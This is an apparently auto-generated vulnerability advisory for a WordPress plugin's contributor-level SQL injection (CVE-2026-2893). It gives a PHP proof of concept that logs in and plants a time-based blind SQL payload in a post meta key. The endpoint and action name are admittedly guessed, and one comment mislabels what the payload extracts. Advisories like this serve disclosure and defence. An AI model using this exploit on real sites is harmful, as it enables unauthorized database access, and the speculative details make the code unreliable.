Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2893: Page and Post Clone <= 6.3 – Authenticated (Contributor+) SQL Injection via 'meta_key' Parameter (page-or-post-clone)

CVE ID CVE-2026-2893
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 6.3
Patched Version
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2893 (metadata-based):
The vulnerability exists in the Page and Post Clone WordPress plugin. The root cause is improper neutralization of the ‘meta_key’ parameter within the content_clone() function. The plugin fails to properly escape user-supplied input before incorporating it into an SQL query. This creates a classic SQL injection vulnerability. The attack vector requires Contributor-level authentication, which aligns with WordPress’s permission model where Contributors can create and edit their own posts. The injection is second-order: an attacker first stores a malicious payload as a post meta key. This payload is later executed when the post is cloned, triggering the vulnerable SQL query in the content_clone() function. The CVSS vector indicates network accessibility, low attack complexity, low privilege requirements, no user interaction, and high confidentiality impact with no integrity or availability impact. This matches a blind SQL injection scenario where data extraction is possible but not data modification or denial of service. The fix in version 6.4 likely involves proper use of WordPress’s $wpdb->prepare() method for SQL query construction or strict validation/escaping of the meta_key parameter. Atomic Edge research infers the vulnerable endpoint is likely an AJAX handler or admin-post.php endpoint, given the plugin’s functionality and common WordPress patterns. The exact endpoint name cannot be confirmed without source code, but the plugin slug ‘page-or-post-clone’ suggests action names like ‘page_or_post_clone’ or ‘content_clone’.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2893 - Page and Post Clone <= 6.3 - Authenticated (Contributor+) SQL Injection via 'meta_key' Parameter
<?php
/*
Assumptions:
1. The vulnerable function `content_clone()` is called via an AJAX action or admin-post endpoint.
2. The action name contains the plugin slug 'page_or_post_clone' or similar.
3. The 'meta_key' parameter is accepted via POST.
4. Contributor-level authentication is required (wp-admin cookies).
This PoC demonstrates the first stage: planting a malicious meta key via post meta update.
The second-stage execution occurs when the post is cloned.
*/

$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
$post_id = 123; // CHANGE THIS - ID of a post the contributor can edit

// Payload for time-based blind SQL injection (extracts database user)
$payload = "test' OR IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0) OR '1'='2";

// Step 1: Authenticate and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);

// Step 2: Add malicious meta key to a post (first-stage payload storage)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'page_or_post_clone_update_meta', // INFERRED action name
        'post_id' => $post_id,
        'meta_key' => $payload, // The SQL injection payload
        'meta_value' => 'dummy',
        '_wpnonce' => 'NONCE_PLACEHOLDER' // Nonce would be required
    ]),
    CURLOPT_COOKIEFILE => 'cookies.txt'
]);
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Trigger the clone operation (second-stage execution)
// This would typically involve a separate request to clone the post
// The exact endpoint cannot be confirmed without source code

echo "Payload planted. The SQL injection will execute when post ID $post_id is cloned.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School